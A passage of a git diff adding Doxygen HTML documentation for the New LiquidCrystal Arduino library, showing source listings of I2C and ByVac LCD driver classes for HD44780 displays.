Definition at line 88 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D5   1
+
+
+ +

Definition at line 89 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D6   2
+
+
+ +

Definition at line 90 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D7   3
+
+
+ +

Definition at line 91 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define EN   6
+
+
+

Enable bit of the LCD Defines the IO of the expander connected to the LCD Enable

+ +

Definition at line 66 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_BACKLIGHT   0xFF
+
+
+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 55 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0x00
+
+
+

LCD_NOBACKLIGHT NO BACKLIGHT MASK

+ +

Definition at line 48 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RS   4
+
+
+

Register bit of the LCD Defines the IO of the expander connected to the LCD Register select pin

+ +

Definition at line 80 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RW   5
+
+
+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD Rw pin

+ +

Definition at line 73 of file LiquidCrystal_I2C.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp_source.html new file mode 100644 index 0000000..a4274fc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp_source.html @@ -0,0 +1,371 @@ + + + + +LCD Library: LiquidCrystal_I2C.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_I2C.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C.c
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using an I2C IO extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 //
+00028 // @author F. Malpartida - fmalpartida@gmail.com
+00029 // ---------------------------------------------------------------------------
+00030 #if (ARDUINO <  100)
+00031 #include <WProgram.h>
+00032 #else
+00033 #include <Arduino.h>
+00034 #endif
+00035 #include <inttypes.h>
+00036 #include "I2CIO.h"
+00037 #include "LiquidCrystal_I2C.h"
+00038 
+00039 // CONSTANT  definitions
+00040 // ---------------------------------------------------------------------------
+00041 
+00042 // flags for backlight control
+00048 #define LCD_NOBACKLIGHT 0x00
+00049 
+00055 #define LCD_BACKLIGHT   0xFF
+00056 
+00057 
+00058 // Default library configuration parameters used by class constructor with
+00059 // only the I2C address field.
+00060 // ---------------------------------------------------------------------------
+00066 #define EN 6  // Enable bit
+00067 
+00073 #define RW 5  // Read/Write bit
+00074 
+00080 #define RS 4  // Register select bit
+00081 
+00088 #define D4 0
+00089 #define D5 1
+00090 #define D6 2
+00091 #define D7 3
+00092 
+00093 
+00094 // CONSTRUCTORS
+00095 // ---------------------------------------------------------------------------
+00096 LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr )
+00097 {
+00098    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00099 }
+00100 
+00101 
+00102 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, 
+00103                                      t_backlighPol pol = POSITIVE)
+00104 {
+00105    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00106    setBacklightPin(backlighPin, pol);
+00107 }
+00108 
+00109 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00110                                      uint8_t Rs)
+00111 {
+00112    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00113 }
+00114 
+00115 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00116                                      uint8_t Rs, uint8_t backlighPin, 
+00117                                      t_backlighPol pol = POSITIVE)
+00118 {
+00119    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00120    setBacklightPin(backlighPin, pol);
+00121 }
+00122 
+00123 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00124                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00125                                      uint8_t d6, uint8_t d7 )
+00126 {
+00127    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00128 }
+00129 
+00130 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00131                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00132                                      uint8_t d6, uint8_t d7, uint8_t backlighPin, 
+00133                                      t_backlighPol pol = POSITIVE )
+00134 {
+00135    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00136    setBacklightPin(backlighPin, pol);
+00137 }
+00138 
+00139 // PUBLIC METHODS
+00140 // ---------------------------------------------------------------------------
+00141 
+00142 //
+00143 // begin
+00144 void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00145 {
+00146    
+00147    init();     // Initialise the I2C expander interface
+00148    LCD::begin ( cols, lines, dotsize );   
+00149 }
+00150 
+00151 
+00152 // User commands - users can expand this section
+00153 //----------------------------------------------------------------------------
+00154 // Turn the (optional) backlight off/on
+00155 
+00156 //
+00157 // setBacklightPin
+00158 void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00159 {
+00160    _backlightPinMask = ( 1 << value );
+00161    _polarity = pol;
+00162    setBacklight(BACKLIGHT_OFF);
+00163 }
+00164 
+00165 //
+00166 // setBacklight
+00167 void LiquidCrystal_I2C::setBacklight( uint8_t value ) 
+00168 {
+00169    // Check if backlight is available
+00170    // ----------------------------------------------------
+00171    if ( _backlightPinMask != 0x0 )
+00172    {
+00173       // Check for polarity to configure mask accordingly
+00174       // ----------------------------------------------------------
+00175       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00176            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00177       {
+00178          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00179       }
+00180       else 
+00181       {
+00182          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00183       }
+00184       _i2cio.write( _backlightStsMask );
+00185    }
+00186 }
+00187 
+00188 
+00189 // PRIVATE METHODS
+00190 // ---------------------------------------------------------------------------
+00191 
+00192 //
+00193 // init
+00194 int LiquidCrystal_I2C::init()
+00195 {
+00196    int status = 0;
+00197    
+00198    // initialize the backpack IO expander
+00199    // and display functions.
+00200    // ------------------------------------------------------------------------
+00201    if ( _i2cio.begin ( _Addr ) == 1 )
+00202    {
+00203       _i2cio.portMode ( OUTPUT );  // Set the entire IO extender to OUTPUT
+00204       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00205       status = 1;
+00206       _i2cio.write(0);  // Set the entire port to LOW
+00207    }
+00208    return ( status );
+00209 }
+00210 
+00211 //
+00212 // config
+00213 void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00214                                 uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00215 {
+00216    _Addr = lcd_Addr;
+00217    
+00218    _backlightPinMask = 0;
+00219    _backlightStsMask = LCD_NOBACKLIGHT;
+00220    _polarity = POSITIVE;
+00221    
+00222    _En = ( 1 << En );
+00223    _Rw = ( 1 << Rw );
+00224    _Rs = ( 1 << Rs );
+00225    
+00226    // Initialise pin mapping
+00227    _data_pins[0] = ( 1 << d4 );
+00228    _data_pins[1] = ( 1 << d5 );
+00229    _data_pins[2] = ( 1 << d6 );
+00230    _data_pins[3] = ( 1 << d7 );   
+00231 }
+00232 
+00233 
+00234 
+00235 // low level data pushing commands
+00236 //----------------------------------------------------------------------------
+00237 
+00238 //
+00239 // send - write either command or data
+00240 void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) 
+00241 {
+00242    // No need to use the delay routines since the time taken to write takes
+00243    // longer that what is needed both for toggling and enable pin an to execute
+00244    // the command.
+00245    
+00246    if ( mode == FOUR_BITS )
+00247    {
+00248       write4bits( (value & 0x0F), COMMAND );
+00249    }
+00250    else 
+00251    {
+00252       write4bits( (value >> 4), mode );
+00253       write4bits( (value & 0x0F), mode);
+00254    }
+00255 }
+00256 
+00257 //
+00258 // write4bits
+00259 void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) 
+00260 {
+00261    uint8_t pinMapValue = 0;
+00262    
+00263    // Map the value to LCD pin mapping
+00264    // --------------------------------
+00265    for ( uint8_t i = 0; i < 4; i++ )
+00266    {
+00267       if ( ( value & 0x1 ) == 1 )
+00268       {
+00269          pinMapValue |= _data_pins[i];
+00270       }
+00271       value = ( value >> 1 );
+00272    }
+00273    
+00274    // Is it a command or data
+00275    // -----------------------
+00276    if ( mode == DATA )
+00277    {
+00278       mode = _Rs;
+00279    }
+00280    
+00281    pinMapValue |= mode | _backlightStsMask;
+00282    pulseEnable ( pinMapValue );
+00283 }
+00284 
+00285 //
+00286 // pulseEnable
+00287 void LiquidCrystal_I2C::pulseEnable (uint8_t data)
+00288 {
+00289    _i2cio.write (data | _En);   // En HIGH
+00290    _i2cio.write (data & ~_En);  // En LOW
+00291 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h.html new file mode 100644 index 0000000..177e3fd --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h.html @@ -0,0 +1,124 @@ + + + + +LCD Library: LiquidCrystal_I2C.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_I2C.h File Reference
+
+
+
#include <inttypes.h>
+#include <Print.h>
+#include "I2CIO.h"
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_I2C
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h_source.html new file mode 100644 index 0000000..d47d4de --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h_source.html @@ -0,0 +1,193 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_I2C.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using an I2C IO extension board.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+
21 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+
22 //
+
23 // The functionality provided by this class and its base class is identical
+
24 // to the original functionality of the Arduino LiquidCrystal library.
+
25 //
+
26 //
+
27 // @author F. Malpartida - fmalpartida@gmail.com
+
28 // ---------------------------------------------------------------------------
+
29 #ifndef LiquidCrystal_I2C_h
+
30 #define LiquidCrystal_I2C_h
+
31 #include <inttypes.h>
+
32 #include <Print.h>
+
33 
+
34 #include "I2CIO.h"
+
35 #include "LCD.h"
+
36 
+
37 
+
38 class LiquidCrystal_I2C : public LCD
+
39 {
+
40 public:
+
41 
+
51  LiquidCrystal_I2C (uint8_t lcd_Addr);
+
52  // Constructor with backlight control
+
53  LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol);
+
54 
+
67  LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs);
+
68  // Constructor with backlight control
+
69  LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
70  uint8_t backlighPin, t_backlighPol pol);
+
71 
+
88  LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
89  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
90  // Constructor with backlight control
+
91  LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
92  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
93  uint8_t backlighPin, t_backlighPol pol);
+
110  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
111 
+
124  virtual void send(uint8_t value, uint8_t mode);
+
125 
+
134  void setBacklightPin ( uint8_t value, t_backlighPol pol );
+
135 
+
145  void setBacklight ( uint8_t value );
+
146 
+
147 private:
+
148 
+
154  int init();
+
155 
+
171  void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
172  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
173 
+
182  void write4bits(uint8_t value, uint8_t mode);
+
183 
+
190  void pulseEnable(uint8_t);
+
191 
+
192 
+
193  uint8_t _Addr; // I2C Address of the IO expander
+
194  uint8_t _backlightPinMask; // Backlight IO pin mask
+
195  uint8_t _backlightStsMask; // Backlight status mask
+
196  I2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO
+
197  uint8_t _En; // LCD expander word for enable pin
+
198  uint8_t _Rw; // LCD expander word for R/W pin
+
199  uint8_t _Rs; // LCD expander word for Register Select pin
+
200  uint8_t _data_pins[4]; // LCD data lines
+
201 
+
202 };
+
203 
+
204 #endif
+
Definition: I2CIO.h:41
+
Definition: LCD.h:187
+
LiquidCrystal_I2C(uint8_t lcd_Addr)
Definition: LiquidCrystal_I2C.cpp:96
+
void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LiquidCrystal_I2C.cpp:158
+
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LiquidCrystal_I2C.cpp:144
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_I2C.cpp:240
+
Definition: LiquidCrystal_I2C.h:38
+
void setBacklight(uint8_t value)
Definition: LiquidCrystal_I2C.cpp:167
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp.html new file mode 100644 index 0000000..7dce84d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp.html @@ -0,0 +1,118 @@ + + + + +LCD Library: LiquidCrystal_I2C_ByVac.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_I2C_ByVac.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include "LiquidCrystal_I2C_ByVac.h"
+
+

Go to the source code of this file.

+ +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp_source.html new file mode 100644 index 0000000..e2ad15f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp_source.html @@ -0,0 +1,216 @@ + + + + +LCD Library: LiquidCrystal_I2C_ByVac.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_I2C_ByVac.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by GHPS on 5/06/2012.
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C_ByVac.c
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpack BV4218 from ByVac.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 // @author GHPS - ghps@users.sourceforge.net
+00027 // ---------------------------------------------------------------------------
+00028 #if (ARDUINO <  100)
+00029 #include <WProgram.h>
+00030 #else
+00031 #include <Arduino.h>
+00032 #endif
+00033 #include <inttypes.h>
+00034 #include "LiquidCrystal_I2C_ByVac.h"
+00035 
+00036 // CONSTRUCTORS
+00037 // ---------------------------------------------------------------------------
+00038 LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac( uint8_t lcd_Addr )
+00039 {
+00040    _Addr = lcd_Addr;
+00041    _polarity == NEGATIVE;
+00042 }
+00043 
+00044 // PUBLIC METHODS
+00045 // ---------------------------------------------------------------------------
+00046 
+00047 //
+00048 // begin
+00049 void LiquidCrystal_I2C_ByVac::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00050 {
+00051    Wire.begin();
+00052    LCD::begin ( cols, lines, dotsize );   
+00053 }
+00054 
+00055 // User commands - users can expand this section
+00056 //----------------------------------------------------------------------------
+00057 // Turn the integrated backlight off/on
+00058 
+00059 // setBacklight
+00060 void LiquidCrystal_I2C_ByVac::setBacklight( uint8_t value ) 
+00061 {
+00062   Wire.beginTransmission(_Addr);
+00063   Wire.write(0x03);                                     //  ByVac command code 0x03 for backlight
+00064   if (value==0) Wire.write(1); else Wire.write((byte)0);        // 1 for off since polarity is NEGATIVE
+00065   Wire.endTransmission();
+00066 }
+00067 
+00068 // Turn the contrast off/on
+00069 
+00070 // setContrast
+00071 void LiquidCrystal_I2C_ByVac::setContrast( uint8_t value ) 
+00072 {
+00073   Wire.beginTransmission(_Addr);
+00074   Wire.write(0x05);                                     //  ByVac command code 0x05 for contrast
+00075   if (value==0) Wire.write((byte)0); else Wire.write(1); 
+00076   Wire.endTransmission();
+00077 }
+00078 
+00079 // PRIVATE METHODS
+00080 // ---------------------------------------------------------------------------
+00081 
+00082 //
+00083 // init
+00084 int LiquidCrystal_I2C_ByVac::init()
+00085 {
+00086    int status = 0;
+00087    
+00088    // ByVac backpack initialized by onboard firmware
+00089    // ------------------------------------------------------------------------
+00090    status=1;
+00091    return ( status );
+00092 }
+00093 
+00094 // low level data pushing commands
+00095 //----------------------------------------------------------------------------
+00096 
+00097 //
+00098 // send - write either command or data
+00099 void LiquidCrystal_I2C_ByVac::send(uint8_t value, uint8_t mode) 
+00100 {
+00101   Wire.beginTransmission(_Addr);
+00102   Wire.write(mode+1); // map COMMAND (0) -> ByVac command code 0x01/ DATA  (1) ->  ByVac command code 0x02
+00103   Wire.write(value);
+00104   Wire.endTransmission();
+00105 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h.html new file mode 100644 index 0000000..8764194 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h.html @@ -0,0 +1,124 @@ + + + + +LCD Library: LiquidCrystal_I2C_ByVac.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_I2C_ByVac.h File Reference
+
+
+
#include <inttypes.h>
+#include <Print.h>
+#include <../Wire/Wire.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_I2C_ByVac
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h_source.html new file mode 100644 index 0000000..9d38d79 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h_source.html @@ -0,0 +1,164 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by GHPS on 5/06/2012.
+
3 // Copyright 2012 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_I2C_ByVac.c
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+
21 // backpack BV4218 from ByVac.
+
22 //
+
23 // The functionality provided by this class and its base class is identical
+
24 // to the original functionality of the Arduino LiquidCrystal library.
+
25 //
+
26 // @author GHPS - ghps-et-users-sourceforge-net
+
27 // ---------------------------------------------------------------------------
+
28 #ifndef LiquidCrystal_I2C_ByVac_h
+
29 #define LiquidCrystal_I2C_ByVac_h
+
30 #include <inttypes.h>
+
31 #include <Print.h>
+
32 
+
33 #include <../Wire/Wire.h>
+
34 #include "LCD.h"
+
35 
+
36 
+ +
38 {
+
39 public:
+
40 
+
50  LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr);
+
51 
+
68  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
69 
+
82  virtual void send(uint8_t value, uint8_t mode);
+
83 
+
84 
+
92  void setBacklight ( uint8_t value );
+
93 
+
102  void setContrast ( uint8_t value );
+
103 
+
104 private:
+
105 
+
111  int init();
+
112 
+
122  uint8_t _Addr; // I2C Address of the IO expander
+
123 
+
124 };
+
125 
+
126 #endif
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_I2C_ByVac.cpp:99
+
Definition: LiquidCrystal_I2C_ByVac.h:37
+
Definition: LCD.h:187
+
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LiquidCrystal_I2C_ByVac.cpp:49
+
void setBacklight(uint8_t value)
Definition: LiquidCrystal_I2C_ByVac.cpp:60
+
void setContrast(uint8_t value)
Definition: LiquidCrystal_I2C_ByVac.cpp:71
+
LiquidCrystal_I2C_ByVac(uint8_t lcd_Addr)
Definition: LiquidCrystal_I2C_ByVac.cpp:38
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_i2_c_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_i2_c_8h_source.html new file mode 100644 index 0000000..61bfcfc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_i2_c_8h_source.html @@ -0,0 +1,196 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_I2C.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using an I2C IO extension board and software I2C.
+
15 // It will use digital pins 6 and 7 for SCL and SDA, but it can be changed
+
16 // in SI2CIO.cpp to use other pins if needed.
+
17 
+
18 // @brief
+
19 // This is a basic implementation of the LiquidCrystal library of the
+
20 // Arduino SDK. The original library has been reworked in such a way that
+
21 // this class implements the all methods to command an LCD based
+
22 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+
23 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+
24 //
+
25 // The functionality provided by this class and its base class is identical
+
26 // to the original functionality of the Arduino LiquidCrystal library.
+
27 //
+
28 //
+
29 // @author F. Malpartida - fmalpartida@gmail.com
+
30 // Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com
+
31 // ---------------------------------------------------------------------------
+
32 #ifndef LiquidCrystal_SI2C_h
+
33 #define LiquidCrystal_SI2C_h
+
34 #include <inttypes.h>
+
35 #include <Print.h>
+
36 
+
37 #include "SI2CIO.h"
+
38 #include "LCD.h"
+
39 
+
40 
+
41 class LiquidCrystal_SI2C : public LCD
+
42 {
+
43 public:
+
44 
+
54  LiquidCrystal_SI2C (uint8_t lcd_Addr);
+
55  // Constructor with backlight control
+
56  LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol);
+
57 
+
70  LiquidCrystal_SI2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs);
+
71  // Constructor with backlight control
+
72  LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
73  uint8_t backlighPin, t_backlighPol pol);
+
74 
+
91  LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
92  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
93  // Constructor with backlight control
+
94  LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
95  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
96  uint8_t backlighPin, t_backlighPol pol);
+
113  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
114 
+
127  virtual void send(uint8_t value, uint8_t mode);
+
128 
+
137  void setBacklightPin ( uint8_t value, t_backlighPol pol );
+
138 
+
